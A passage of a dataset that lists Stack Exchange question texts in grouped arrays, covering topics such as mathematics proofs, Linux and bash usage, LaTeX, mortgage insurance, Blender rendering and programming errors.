I acknowledge that I am a teenager, but no others that I know seem to have acne/spots like I do.", "Should moderators be allowed to decline flags on their own comments? I think I just witnessed a moderator decline a flag raised on his own comment. (I'm hesitant to discuss specifics unless I have to, as I don't mean to put anyone in a negative light.) Since there are at least 2 other moderators per site, I'm not sure this should be allowed—I feel that either only uninvolved moderator(s) should be able to view and handle flags on co-moderators' posts, or moderators should be able to view all flags, but a flagged moderator should not be allowed to decline a flag against him- or herself. I have no personal issue with this moderator. I just felt in this case that there was truth in both sides (the moderator's as well as the flagging user's), and sought a win-win solution, i.e. by improving the disputed answer. Coming back an hour later to see that the moderator unilaterally declined the user's flag—that didn't seem fair to the user... I am making some assumptions based on the \"Last Seen\" stat in the moderator tools, so if I'm simply mistaken on what happened, I apologize in advance.", "Number of suggested edits seems to include own edits On the new History beta site I have the privilege to approve tag edits already but my own edits still go into the review queue. And the review dashboard displays a different number of pending edits depending on where I am: on I see one pending edit, on I see none. I am pretty sure that the pending edit being displayed is my own - I edited a tag wiki and that edit hasn't been approved yet. It shouldn't be counted no matter where I am.", "How do you beta test an iphone app? How can you beta test an iPhone app? I can get it on my own device, and anyone that gives me a device, I can run it on theirs, but is there a way to do a limited release via the app store for beta testing? Related: Also, see on getting your app onto phones without using the App Store.", "Hosting multiple distinct folders for distinct domains I have a VPS that I've installed a Apache Web Server on. What I want to do is forward my own website domains to that server and host those websites' files inside my Apache Web Server. As far as I understand a DNS server is required to manage which domain is hosted where (IP-wise). But what I want to do is host my websites under the same IP address, the one that my web server has. How can I separate those websites' files inside my web server so I don't have to use http://host/foo for www.foo.com and http://host/bar for www.bar.com?", "Using the validation data I'm unclear on the exact process of using the validation data. Let's say that I fit my neural network model and adjust hyperparameters using the training set and validation set. Do I then evaluate the test set on this model? Or do I recombine the validation and training sets and fit a fresh model with the hyperparameters that I found during the validation phase, and then evaluate on the test data? I have seen a number of different notebooks and examples that do both ways. Surely, once I've found my hyperparameters, it makes sense to fit a fresh model using the full training set (recombined with validation set), since the validation loss has no effect on the weights.", "After hitting 80% LTV, my mortgage lender refuses to remove PMI. Any recourse? I recently refinanced my home. At the time based on the appraisal vs. amortization I found I would be stuck with PMI (private mortgage insurance) for about 9 months. I've paid extra on the mortgage each month and after 7 months I got my LTV (loan-to-value ratio) to be 79%. Yay! So I called Pacific Union and asked for PMI to be removed. The woman said I'd need to fax in a written request. Then she added that my written request would likely be denied because my account had not been in good standing the last 12 months. I pointed out that I'd only had the loan for 7 months and had never been late, but that didn't seem to matter to her. So I faxed in my written request. Then I read through all my documentation on my loan. Nowhere did it say that I needed to have the loan for 12 months. After a week I called them back and they said it would be another week for a decision. So, I waited another week and called. They now just had a recording saying they were too busy to take a call and I could leave a callback number. I did this and never heard back. I've now tried twice more to call them. Each time I leave a number and each time I don't hear back. So I've fired off a written request again. At this point we've gone around the horn to the next month and in two short days I'll be paying PMI on March's payment. Do they have any grounds to not remove PMI? Isn't it federally mandated that PMI must be removed at 80%? Any recourse anyone can think of? [EDIT] - I heard back from Pacific Union. They state that I did not sign anything agreeing to these terms which is what I was certain of. They state these terms are simply automatic with Fannie Mai backed loans and it doesn't matter if I was informed or not about these terms. They also chose not to hide behind the \"no late payments\" clause and instead said they were requiring an appraisal to remove PMI. Of course an appraisal is $400 and I'll hit 78% LTV before I would pay that much extra in PMI. I have now contacted a lawyer. I'll update again with whatever opinion the lawyer has and whether I proceed or not. [EDIT] - I filed a BBB complaint. They waited 30+ days to respond. In their response they indicate that the first woman (and some SE users below) are wrong. The loan does NOT have to be in good standing for 12 months. The loan simply needs no late payments within 12 months. They then hide behind the request for another appraisal as the sole reason to not remove it. I checked with Fannie Mae who backs the loan and was told this is optional per the lender, however the lender can force it and I have no recourse. Additionally, they could have asked for a Broker's Price Option (BPO) or a certificate of value which would cost me hundreds less. At this point I cannot continue to fight them because the amount of PMI I'll pay until 78% LTV is equal to or less than the appraisal cost of $400. [EDIT] As of August 2015 I've hit 78% LTV. I called Pacific Union to ensure that the automatic cancellation of PMI had happened. They said no, I'd need to request that in writing. This is a violation of federal law as it's supposed to be automatic. They also said they would still deny it because now they want 24 months of good history. I've sent a threatening letter off and am waiting for a reply. If any lawyers come along and read this I'd sure like to hire you. [EDIT] After my letter they said they would remove PMI. They did not and I was charged again in September. I called them yet again and complained. They said PMI was going to be removed. They then charged my again in October! I called again. I called again and went berserk on the phone. PMI was finally removed for November 2015. First month without it.", "How to allocate aligned memory only using the standard library? I just finished a test as part of a job interview, and one question stumped me, even using Google for reference. I'd like to see what the StackOverflow crew can do with it: The memset_16aligned function requires a 16-byte aligned pointer passed to it, or it will crash. a) How would you allocate 1024 bytes of memory, and align it to a 16 byte boundary? b) Free the memory after the memset_16aligned has executed. { void *mem; void *ptr; // answer a) here memset_16aligned(ptr, 0, 1024); // answer b) here }", "If $Y|X \\sim \\mathcal{N}(0,1)$ then is $Y^2|X \\sim \\chi^2(1)$? Suppose we have random variables $X$ and $Y$ such that $Y|X \\sim \\mathcal{N}(0,1)$. Can we then say that $Y^2|X \\sim \\chi^2(1)$? If we can, then what about when $Y|X \\sim \\mathcal{N}(0,\\sigma^2/4)$, can we use the results of to say that $Y^2|X \\sim \\frac{\\sigma^2}{4}\\chi^2(1)$? Essentially I want to know if the results of squaring a normal distribution can be applied to the case where a random variable is conditionally normally distributed?", "Can a full version of Ubuntu be Installed on a USB Drive?", "How to to calculate the hash of an unordered set Suppose I have a set of elements, with known hash (e.g. SHA-2). How can I calculate the hash of the set? With it I mean an unordered set, so the order of elements is undefined and shall not play any role in determining the hash of the set. In theory any commutative operation applied to the hashes should be fine, but I have the strong feeling that XORing all of them together is quite unsafe. An attacker could add an element to the set to produce a hash collision, although finding an element with that wanted hash is as hard as breaking the hash of the whole set. Anything better solution than the trivial one of sorting the elements into a list, calculating their hashes and then calculating the hash of the hash list? I think Merkle trees can't help here if they are based on some sort of ordering of the elements.", "Data extension values in the \"Update Contact\" activity in Journey Builder I'm looking for a way to use fields from a data extension (that is the entry source for a journey) in the \"Update Contact\" activity. I want to create a sort of log in a different data extension. Let's say I have a sourceDEthat is used by the journey and a journeylogDE where I would like to write the email of contact that's currently in the journey. What should I write in the value field to get a value from the currently used record in the sourceDE? I tried {{Contact.Attribute.sourceDE.email}}, but it did not return any values. I would appreciate it if you could give me any tips how to fix this issue.", "How to disable autorefresh in snap Is it possible to disable autorefresh in snap? This says that Snaps are updated automatically in the background to the latest version, every day. Some snaps (e.g. vlc) are built daily, and it makes no sense to install them every day.", "$\\sum a_{n}$ is convergent, $\\sum a_{n}^2$ is divergent. Prove $\\sum a_{n}$ is conditionally convergent. Suppose that the series $\\sum_{n=1}^{\\infty}a_{n}$ converges while $\\sum_{n=1}^{\\infty}a_{n}^2$ diverges. Prove that $\\sum_{n=1}^{\\infty}a_{n}$ converges conditionally.", "prevent \"action\" if top of page I have a manual list of stuff that are sometimes separated by an hrule(or my own custom ruler) for visual purposes. Sometimes the hrule ends at the top or bottom of a page which makes it useless. Is there a way to prevent it from being added if it is at the top or bottom of a page? MWE of problem: \\documentclass{book} \\usepackage{tikz} \\begin{document} \\newcommand\\rulesep{% \\par % make sure we end a paragraph \\vskip5pt % space above the rule \\leaders\\vrule width \\textwidth\\vskip0.4pt % rule thickness is 0.4pt \\nointerlineskip % disable interline glue here \\vskip5pt % space below the rule } \\def\\dotikzcircle#1{\\begin{tikzpicture}\\draw(0,0)circle(#1);\\end{tikzpicture}} \\rulesep \\noindent This is a test\\noindent \\rulesep \\noindent End of test \\rulesep \\dotikzcircle3 \\rulesep \\begin{center}\\dotikzcircle3\\end{center} \\rulesep \\begin{center}\\dotikzcircle3\\end{center} \\rulesep \\dotikzcircle1 \\rulesep \\dotikzcircle2 \\rulesep \\dotikzcircle3 \\rulesep \\dotikzcircle4 \\rulesep \\dotikzcircle5 \\rulesep \\end{document}", "What is the default PATH environment variable setting on fresh install of Windows 7" ]

[ "How can I change my VPN connection settings in Windows 7 from the command line? I know how to do it using the GUI but I really need to do it from the console. I need to change the user, password and internet address and then restart the connection. It doesn't matter if I have to install some third-party software in order to do this (from the command line).", "Hair particles render not same as 3dView(Eevee) Hair particle renders are not same as in 3dView(Eevee). Hair is using Principle Bsdf shader and camera is set to Orthographic. Force and turbulence fields are applied to it. How to resolve this?", "How do I delete a file whose name begins with \"-\" (hyphen a.k.a. dash or minus)? How do you remove a file whose filename begins with a dash (hyphen or minus) -? I'm ssh'd into a remote OSX server and I have this file in my directory: tohru:~ $ ls -l total 8 -rw-r--r-- 1 me staff 1352 Aug 18 14:33 --help ... How in the world can I delete --help from a CLI? This issue is something that I come across in different forms on occasion, these files are easy to create, but hard to get rid of. I have tried using backslash rm \\-\\-help I have tried quotes rm \"--help\" How do I prevent the minus (dash or hyphen) character to be interpreted as an option?", "Squid IP Routing Issue I have a squid server installed with 30 additional proxy addresses. Whenever I try to use one of these proxy addresses with a browser, like chrome, my IP shows as the main server IP as opposed to the additional address. For example, say the home IP is 192.0.0.10 and the additional IP I'm trying to use is 192.0.0.13, when going to a &quot;what is my IP&quot; type of site, it shows 192.0.0.10 no matter what additional address I use. Any idea as to why this might happen? Thanks for any help.", "Finding an unknown linear transformation given that $T(1,1)=(1,0,2)$ and $T(2,3) = (1,-1,4)$ Let $T\\colon\\mathbb{R}^2\\to\\mathbb{R}^3$ be the linear transformation such that $T(1,1)=(1,0,2)$ and $T(2,3) = (1,-1,4)$. Does such a linear transformation exist? So far I've worked out that it cannot exist, as the first entry for $T(1,1)$ is 1, whereas the first entry for $T(2,3)$ is 1, which can only be obtained through 3-2, or half of 2. Is there any way of presenting this formally?", "First of all, I swear this is not homework, it's a question I was asked in an interview. I think I made a mess of it (though I did realise the solution requires recursion). Here is the question: Implement the count() method which returns the number of nodes in a tree. If a node doesn't have either a left or right child, the relevant getXXChild() method will return null class Tree { Tree getRightChild() { // Assume this is already implemented } Tree getLeftChild() { // Assume this is already implemented } int count() { // Implement me } } My reason for asking the question is simply curious to see the correct solution, and thereby measure how bad mine was. Cheers, Tony", "I did an upgrade today to the latest version of ubuntu. Everything looked good and fine only for me to discover that I cannot find my applications after clicking the 'Show Applications' icon. The same applies when I search for an application in the search bar, I do not see it. It shows me an endless search. These are the screenshot images of the problem: In the meantime, I access my applications from the menu at the top bar and also use the terminal to run applications with CLI.", "I'm getting \"jumpy\" loadings in rollapply PCA in R. Can I fix it?", "An $n$th root inequality: $\\sqrt[n]{n} < 1 + \\sqrt{2/n}$ Prove that for any positive integer $n$, $$n^{1/n} &lt; 1 + \\sqrt{\\frac{2}{n}}.$$ This due to Victor Linis, Eureka, Vol. 2, No. 2, February 1976, p. 29. Hint: Use the binomial theorem.", "Do the laws of physics evolve?", "Trouble with Vakil's FOAG exercise 11.3.C I'm having trouble with the exercise in the title, even with part (a), which asks to prove that if $X$ is a closed subset of $\\mathbb{P}^n_k$ of dimension at least 1 and $H$ is a non-empty hypersurface, then $X$ and $H$ meet. Following the hint, I've done the following: By assumption, $X$ is given by $V(I)$ for some homogenous prime ideal $I\\subset k[x_0,\\dots x_n]=:A$ and $H$ by $V(f)$ for some homogenous polynomial $f\\in A$. We wish to prove that there is a homogenous prime ideal $\\mathfrak{p}$ (that's not the irrelevant one) containing both $I$ and $f$. Consider the affine cone $\\mathrm{Spec}\\ A/I$ of $X$ in $\\mathrm{Spec}\\ A$. Being homogenous, both $I$ and $f$ are contained in the ideal $(x_0,\\dots x_n)$. By Krull's principal ideal theorem, every minimal prime ideal containing $f\\mod I$ has codimension one. $X$ having dimension at least one implies that there are homogenous prime prime ideals $\\mathfrak{q}\\supsetneq \\mathfrak{r}\\supset I$. This implies that $(x_o,\\dots x_n)$ has codimension at least two. Thus there are prime ideals containing $f\\mod I$ that are contained in $(x_o,\\dots x_n)$. However, I'd need to show that there are homogenous such prime ideals, right? I'd rather get hints than full solutions.", "How to generate a chirped signal", "How to run xrandr commands at startup in Ubuntu How can I run the following xrandrcommand on startup? xrandr cvt 1368 768 xrandr --newmode \"1368x768_60.00\" 85.25 1368 1440 1576 1784 768 771 781 798 -hsync +vsync xrandr --addmode VGA1 1368x768_60.00 xrandr --output VGA1 --mode 1368x768_60.00", "Before I start, YES, I have done my own research - I know how annoying a repeat question is. Yet each answer is so specific to others... When I tried the beta 2.8 64 bit, it says \"Blender requires a driver with at least OpenGL 3.3 support. The program will now close.\" The question: I know that it is true that 2.8 requires OpenGL 3.3. But does my PC not have it, doesn't support it, or do I have it and blender won't detect it? I'm not sure what info to include or what to look for, so here's my PC's specs: Windows 10 (64 bit) Core - Intel Core i5-2400 CPU @ 3.10GHz RAM - 8GB (7.89GB usable) System type - 64-bit Operating System, x64-based processor Thanks! EDIT: Graphics properties:", "Contour graphing algorithm I am not sure if this belongs on Mathematics Stack Exchange, but it is somewhat relevant here. The Problem If you've installed any graphing/plotting apps on your smartphone, you will notice that the app will only take the equation in form of a single variable for 2D (e.g $y=f(x)$) or in 2 variables for a 3D plot (e.g $z=f(x,y)$). This is problematic as many equations are tough to reduce to the form of $y=f(x)$ or $z=f(x,y)$. The plotters like this because this is the only way they can plot it in form of lines connecting multiple points. These plotters compute the $y$ value at fixed intervals of $x$ and join the point to the previous one. The brute force approach to counter this is to check if the function satisfies it at each point on the image. The problem is that this not only takes more time, but gives discontinuous graph for the function as the image cannot have infinite resolution. The Question The only way to fix this is to identify which point comes after the next in the plot and join them together by a line. That is where I am stuck. How do you identify which point is sequentially the next one for a given function? Keep in mind that for a human, this might be very easy to do. But, for a computer, this requires a general algorithm. Any ideas?", "Invalid token 'while' in class, struct, or interface member declaration in very simple code I am not sure what the problem is but I keep receiving this error when I try to use a while statement in my code. Invalid token 'while' in class, struct, or interface member declaration I want to use a while loop to have something continuously update while a statement is true. The rest of my code is rather long but whenever I type in the syntax: while(a&lt;b) { //do whatever i want it to do here } It gives me that compiler error right off the bat. Not quite sure what the problem is. I am doing this in a C# windows application under the Form1.cs file with all the other event handlers (for buttons and such). Thanks! I was unaware that loops had to be placed within a method (fairly new to c#), but I tried it and no errors were returned. Thanks for your help everybody! Previously, I just had the loop within the main class of the program.", "I currently have a 75% credit utilization, which I know is not favorable on about 35,000 revolving credit. I am getting my year end bonus and plan on using that to completely pay off all of my credit cards leaving me with a 0% credit utilization. Currently my credit score is 668, mostly due to my utilization, I pay everything on time, but just have too much debt, which is why i'm paying it all off. My question is how much will paying off all my revolving credit and having a 0% utilization on 35,000 credit availability positively effect my credit score?", "How to compute $m$ value from RSA if $phi(n)$ is not relative prime with the $e$? Here is some information we got : We know the value of $n$, with size $1043$. We know the value of $p$ (size $20$) and $q$ (size $1023$) as the factors. $e = 65537.$ $\\varphi(n)$ = $(q-1)(p-1)$ When I calculated $\\gcd$ and $\\text{modinv}$, I got : $\\gcd(e,\\varphi(n)) = 65537$ $modinv(e,\\varphi(n)) = 1 $ So we can tell that they are not relatively prime. So, how to compute the d, and get the value of m? I'm not that good with math, so I cant understanding well the theory. so can anyone please make an example implementation or write a clear formula?", "Linear algebra is a very well-behaved part of mathematics. Soon after you have mastered the basics you got a good feeling for what kind of statements should be true -- even if you are not familiar with all major results and counterexamples. If one replaces the underlying field by a ring, and therefore looks at modules, things become more tricky. Many pathologies occur that one maybe would not expect coming from linear algebra. I am looking for a list of such pathologies where modules behave differently than vector spaces. This list should not only be a list of statements but all phenomena should be illustrated by an example. To start the list I will post an answer below with all pathologies that I know from the top of my head. This should also explain better what kind of list I have in mind.", "Can Mathematica do two evaluations at the same time?" ]

[ "An entire function whose real part is bounded must be constant.", "color glitches and weird texture in render When I look in my preview render everything looks fine (for not having finished lighting) but when i actually render it the color of my doughnut icing glitches and the texture of the table doesn't appear.", "Changing SRID of existing data in PostGIS? While importing my shapefile data to PostGIS, I did not select the proper Projection. How do I now change the SRID of the data, without transforming the Coordinates?", "How to turn the white colour portion to transparent I got this map icon in work in illustrator, and would like to turn those white dash line and the white outline of the location mark to transparent. Can you please advise me how to do it? Thank you in advance.", "This is an unofficial list/changelog of new features and various changes to Stack Overflow and the Stack Exchange network. It is maintained by the community, while a Stack Exchange employee changes the accepted answer to ensure that the latest changes remain on top (given default user settings). To see the list in reverse chronological order (latest entry on top), . For those adding new features here: please post only feature changes that affect the whole network and have some global impact. i.e. bug fixes don't belong here, nor do mobile app updates.", "TexMaker - \"File not found\" when viewing as pdf At the moment I'm having a problem when trying to view my LaTeX file as a PDF. Whether I do it internal or external I both the error \"File not found.\". I have no idea what file it means. I've read somewhere it has to with my Acrobat Reader, but I still can't get it fixed. And I think it's worth mentioning that I work on Windows 7, as I've also read that Texmaker on Windows has some bugs. Any help will be appreciated!", "Does it make a difference to CP if you feed candies before or after evolving?", "Find in Files: Search all code in Team Foundation Server", "Php - regular expression to check if the string has chinese chars", "I've been reading a lot about closures and I think I understand them, but without clouding the picture for myself and others, I am hoping someone can explain closures as succinctly and clearly as possible. I'm looking for a simple explanation that might help me understand where and why I would want to use them.", "Lets say I have a loop in Bash: for foo in `some-command` do do-something $foo done do-something is cpu bound and I have a nice shiny 4 core processor. I'd like to be able to run up to 4 do-something's at once. The naive approach seems to be: for foo in `some-command` do do-something $foo &amp; done This will run all do-somethings at once, but there are a couple downsides, mainly that do-something may also have some significant I/O which performing all at once might slow down a bit. The other problem is that this code block returns immediately, so no way to do other work when all the do-somethings are finished. How would you write this loop so there are always X do-somethings running at once?", "In (not feature request), : ... if we find that people are abusing the system their accounts may get suspended. I would consider that kind of behavior abuse. Well sure qualifies. He has 11 Stack Exchange accounts and has in the last day spammed at least 8 of them to gain the Suffrage and sometimes Vox Populi badges. That's over 250 votes† in just a few hours! (And -- while voting on other user's posts too.) I guarantee that he's not voting on those posts for/by their merits. Here's when he scammed the Suffrage badge per site (while also gaming the Vox Populi on some sites):             - 2017-03-11 16:23:15Z              - 2017-03-11 17:41:41Z              - 2017-03-11 18:08:13Z                 - 2017-03-11 19:25:10Z             - 2017-03-11 19:55:16Z                    - 2017-03-11 20:00:49Z          - 2017-03-11 20:03:13Z - 2017-03-11 21:11:40Z Note that he got the badge on three sites within an 8 minute span (but that might just be job run times). Please revoke badges gained through improper voting. And, maybe also warn/suspend such abusive voters. † His account vote totals don't show all votes as some serial voting was reversed -- but none of the ill-gotten badges were.", "How do I choose between \"while\" and \"whilst\"? When should whilst be used instead of while? For example, should I use the first or the second sentence? They don't do this whilst they do that. They don't do this while they do that. Which would be correct?", "I can't see anything - Teams banner and cookie toaster obscure my whole screen There have been for a while, but this is ridiculous. It reminds me of , but this time it's network-wide. The banner must be scrolled past (or dismissed) on every page unless both first-party JavaScript and first-party cookies are enabled. If first-party JavaScript is enabled, and the banner is visible, the rest of the page jumps up and down every so often. Under certain circumstances (not quite sure what they are, yet – a direct link to an answer, maybe? I'm seeing it ) the entire page jumps up and down a line every few seconds even when the banner is off-screen. The cookie banner keeps coming back unless both third-party JavaScript are enabled (and is solved). The cookie box occludes the “Learn more about Teams” link in the banner (with default Firefox window sizes) and the Job / Teams link in the sidebar. As it stands, – a site for hobbyists and researchers, whose audience is not very likely to purchase Teams – is much, much harder to use, for no benefit that I can see. Can you roll back this change, please?", "What is the correct definition and usage of \"for all I know\"? I saw some sentences using this phrase \"for all I know\" but wasn't quite sure what is its exact definition and also whether a modal verb such as \"could, may or might\" expressing uncertainty must be present in the sentence. The following are some possible definitions: According to the information I have; I think; probably. (usually implies uncertainty) Based on what I know (usually expressing displeasure) As far as I know (used to show indifference) I really don't know (used to show complete ignorance) And these are statements containing the phrase: For all I know, the mayor has resigned already. She may have gone to town for all I know. He wears a ring, but he may be single, for all I know. For all I know, there may be someone with you now. The man I met on the beach yesterday seemed friendly, but he could be a thief, for all I know. For all I know, the girl was buried alive in the Arabian sands. They've decided to hire Jack for all I know. References: What does the phrase \"for all I know\" mean exactly?", "In Bash, two integers can be compared using conditional expression arg1 OP arg2 OP is one of -eq, -ne, -lt, -le, -gt, or -ge. These arithmetic binary operators return true if arg1 is equal to, not equal to, less than, less than or equal to, greater than, or greater than or equal to arg2, respectively. Arg1 and arg2 may be positive or negative integers. or arithmetic expression: &lt;= &gt;= &lt; &gt; comparison == != equality and inequality Why do we have two different ways for comparing two integers? When to use which? For example, [[ 3 -lt 2 ]] uses conditional expression, and (( 3 &lt; 2 )) uses arithmetic expression. Both returns 0 when the comparison is true When comparing two integers, can these two methods always be used interchangeably? If yes, why does Bash have two methods rather than one?", "I noticed that $f(x) = x\\phi(x)$ seems to be one-to-one, where $\\phi(x)$ is Euler's Phi function. In particular, I'm writing some numerical python code and the line I have looks something like sorted([n*phi(n) for n in range(1,1000)]) and there are no duplicates in the list. First, is it one-to-one? Second, if it is, is there a simple proof sketch?", "Asking distant cousins for DNA? In my family we have a DNA contradiction – two cousins (at about the 4th cousin level) took a Y-DNA test, but did not match and had two completely different haplogroups. Since then, I have traced living cousins with the same surname – the only ones left living that I am aware of – and I would love to pay to have them tested to see if we can figure out where the non-paternity event (NPE) or other event happened (i.e. this new cousin could help us determine which line the NPE occurred in depending on which cousin he matches). Does anyone have a sample letter, or know the best way to go about asking a distant cousin for DNA? I have their address and am planning to write a letter, but I can't imagine receiving such a letter, so I am not quite sure how to ask without scaring them off.", "Is there any true inertial reference frame in the universe? Is there any true in the universe? Newton's first law states that an object at rest remains at rest, and an object performing uniform motion performs uniform motion, until and unless acted upon by an external force, if viewed from an inertial frame. It is the definition of an inertial frame of reference. And Newton's second law states that the net external force acting on a particle equals its mass times its acceleration. Thus we need to have an inertial frame in order for Newton's 1st and 2nd laws to be applicable. Scientists claim that Earth is an inertial frame, either the frame or the frame. Why is that? Earth's different parts have different accelerations when it performs rotational motion about its axis. Now you may say that Earth's axis is inertial, but the Earth is also revolving around the Sun. Thus Earth's frame should be non-inertial. Even supposing that earth's frame is inertial, then it means that rest of the universe is non-inertial, because only a frame that moves with constant velocity with respect to an inertial frame is also an inertial frame and according to various scientific experiments there is no other matter in this universe which satisfies that criterion. Now you may say that earth is an approximate inertial frame, but still, my question is: is there any perfect inertial frame in the universe where Newton's laws are exactly applicable?", "Are used Schengen/UK visas acceptable for Turkish e-visa" ]

[ "Is there a database of Linux compatible hardware? I want to know if there is a centralised community site where all Hardware is listed in terms of compatability with Linux. Something like AppDB for Wine.", "What is the importance of eigenvalues/eigenvectors?", "I'm looking for a term for audio in form of the word visual. Visual is defined as of or relating to the sense of sight What could you call the sense of hearing? Also, what do you call this form of a word? (i.e verb, noun...) It should fit the x in the following sentence: Is it possible to fall in love with someone without visual or x contact? I'm not a native English speaker, so I couldn't find the terms for searching this.", "\"See somebody do\" and \"see somebody doing\"", "ToolStrip sometimes not responding to a mouse click", "We are using following code in .php script for generate .pdf file. $result1 = exec(\"R CMD Sweave /var/www/html/r/r_latex_sweave.Rnw\"); $result2 = exec(\"pdflatex /var/www/html/r/r_latex_sweave.tex\"); but, we are getting this errors when we are executing .Rnw and .tex files. ! I can't write on file `r_latex_sweave.log'. Please type another transcript file name: ! Emergency stop ! ==> Fatal error occurred, no output PDF file produced! Note: We have .tex and .Rnw folder in /var/www/html folder?", "Set limit to one author when using \"et al.\" in biblatex", "What would be your preferred way to concatenate strings from a sequence such that between every two consecutive pairs a comma is added. That is, how do you map, for instance, ['a', 'b', 'c'] to 'a,b,c'? (The cases ['s'] and [] should be mapped to 's' and '', respectively.) I usually end up using something like ''.join(map(lambda x: x+',',l))[:-1], but also feeling somewhat unsatisfied.", "Axiom of Choice: Where does my argument for proving the axiom of choice fail? Help me understand why this is an axiom, and not a theorem.", "ubuntu terminal is not working properly in vi editor", "Is there a way to programmatically determine if a font file has a specific Unicode Glyph? I'm working on a project that generates PDFs that can contain fairly complex math and science formulas. The text is rendered in Times New Roman, which has pretty good Unicode coverage, but not complete. We have a system in place to swap in a more Unicode complete font for code points that don't have a glyph in TNR (like most of the \"stranger\" math symbols,) but I can't seem to find a way to query the *.ttf file to see if a given glyph is present. So far, I've just hard-coded a lookup table of which code points are present, but I'd much prefer an automatic solution. I'm using VB.Net in a web system under ASP.net, but solutions in any programming language/environment would be appreciated. Edit: The win32 solution looks excellent, but the specific case I'm trying to solve is in an ASP.Net web system. Is there a way to do this without including the windows API DLLs into my web site?", "Is there a systematic way to obtain all conserved quantities of a system?", "Can't change mouse influence in proportional editing mode I press O and I see it change to Proportional Editing mode, but when I press G and mouse wheel down/up, or arrow keys down/up, it doesn't change the influence area. And I am, I press G and then I tried to scroll to change influence, but it's not working. Done this aswell and it's not working", "How do I run a GUI app via SSH?", "I masked an image in the UV/Image editor masking section. I then used that mask in the compositor for background replacement. However, the mask size seems to be different. Why is that? Here's a screenshot:", "How to group distinct values from a list using odata rest api Hi I have a list with two fields \"Regions\" &amp; \"Countries\" I am using a rest api to retrieve the list of just regions like so: http:mysitename/_api/web/lists/getByTitle('TaxTool')/items?$select=Region In the results there are lots of duplicates and I was wondering how to return unique values.", "about how to open a URL in your default browser using the Terminal. Basically, you use the command xdg-open http://google.com My default browser is Firefox. But lets say that I wanted to open a specific website in Chrome, instead of Firefox. Is there a command to open it in Chrome instead of Firefox?", "How do you add CSS rules (eg strong { color: red }) by use of Javascript?", "Grammar of \"supposed to\": part of speech / word class, active or passive? If I say I'm supposed to go. Is supposed to here an adjective in a passive construction?", "Boy Born on a Tuesday - is it just a language trick?" ]

[ "Chromatic Number The smallest number of colors needed to color a graph $G$ is called its chromatic number, and is often denoted $\\chi(G)$. Show that if graph $G$ is simple, then $$ \\chi \\ge \\frac{V^2}{V^2 - 2E}. $$", "How to debug suspend?", "Badass and BAMF are both modern words with approximately the same meaning: \"Someone who is awesome to an extreme level, thereby leveraging unquestionable authority.\" Is there another noun or title that would convey the same level of awe, admiration and toughness that calling someone a badass does, without the vulgarity? Thanks for any help. :)", "Why does local fn=$(...) mask the $? status code Two function definitions, the only difference is that the first combines the local storage keyword with the assignment, while the second separates them: function foo { local fn=$(mktemp -p /path/does/not/exist 2&gt;/dev/null) echo $? } function bar { local fn fn=$(mktemp -p /path/does/not/exist 2&gt;/dev/null) echo $? } foo bar This echoes \"0\" then \"1\". I expect it to echo \"1\" then \"1\". It seems like the value of $? is the result of the assignment to local, rather than the result of the command substitution. Why does bash 4.2.46(1)-release behave this way?", "Does the integral $\\int_{1}^{\\infty} \\sin(x\\log x) \\,\\mathrm{d}x$ converge?", "I'm using custom post types, but they don't appear on tag pages along with regular posts and i'd like to include both standard and custom post types on tag or category pages. What would be required before the loop to include all posts? (including custom type). Updated: To add, I found this code , which worked perfectly for the first part: add_filter('pre_get_posts', 'query_post_type'); function query_post_type($query) { if ( is_category() || is_tag() &amp;&amp; empty( $query-&gt;query_vars['suppress_filters'] ) ) { $post_type = get_query_var('post_type'); if($post_type) $post_type = $post_type; else $post_type = array('post','cpt'); // replace cpt to your custom post type $query-&gt;set('post_type',$post_type); return $query; } } Second question still remains though: Is there a way to allow readers to filter by post type? So either of the following would work.. example.com/tag/blue?post_type=custom example.com/tag/blue?post_type=post", "What are the eigenvalues of matrix that have all elements equal 1? As in subject: given a matrix $A$ of size $n$ with all elements equal exactly 1. What are the eigenvalues of that matrix ?", "Calling a Java method with no name", "Exporting Data From Salesforce - REST or SOAP?", "When to use LinkedList over ArrayList in Java? I've always been one to simply use: List&lt;String&gt; names = new ArrayList&lt;&gt;(); I use the interface as the type name for portability, so that when I ask questions such as these I can rework my code. When should be used over and vice-versa?", "$F$ closed and connected then... Let $F\\subset X$ be a closed and connected subset of the metric space $(X,d)$ then for every pair of points $a, b\\in F$ and each $\\epsilon&gt;0$ there are points $a=z_0,z_1,\\ldots z_n=b$ in $F$ such that $d(z_{k-1}-z_k)&lt;\\epsilon$ for $1\\leq k\\leq n$. Is the hypothesis that $F$ is closed needed?", "Why didn't Gollum grow old and die after he lost the One Ring to Bilbo?", "\"I let him do it\" and \"I allow him to do it\", why exactly does one require 'to'?", "Uniform convergence of $\\sum (-1)^nf_n(x)$ on $[0,1]$ where $f_n(x)=x^n(1-x)$. Let $f_n(x) = x^n(1-x)$ and $\\sum (-1)^nf_n(x)$. I showed that this series point wise. Case1) $x=1$ $$ f_n(1)=0 \\, , \\sum{(-1)^nf_n(1)} = 0 $$ Case2) $x\\neq 1$ $$|f_n(x)| \\leq |x|^n$$ since $$\\sum |x|^n$$ converges, By abosultely convergese test $\\sum (-1)f_n(x)$ converges. I want to show that this series uniformly converges on $[0,1]$.", "making low-quality PDF files clearer Some research papers available on the web have low-quality outputs. For example, see . It seems that it was converted from a PS file and typeset in (La)TeX. However, it has all the font information. Is there any way to make the PDF file clearer?", "Schadenfreude is the joy or pleasure derived from the misfortunes of others. What is the word for joy or pleasure derived from the happiness of others?", "The descriptions for the editing badges are: Editor: Strunk &amp; White: Copy Editor: Does \"posts\" include your own questions/answers, or are these badges just for edits to other people's stuff? Other questions about how editor badge works: What if I edit only a question's tags, but not its body? What if I edit both a question's tags and its body? Do edits to Community Wiki posts count? Do edits to answers count? Do edits to tag wiki pages count? Do edits to comments count? (Moderators can edit other users' comments, even outside of the usual five minute window.)", "What books would you recommend to start learning about software testing I'm trying to learn more about software testing, so I want to know which books you would recommend on this topic", "Cleaning up factor levels (collapsing multiple levels/labels)", "What is the final price if the bid price exceeds the ask price in an order driven market?" ]

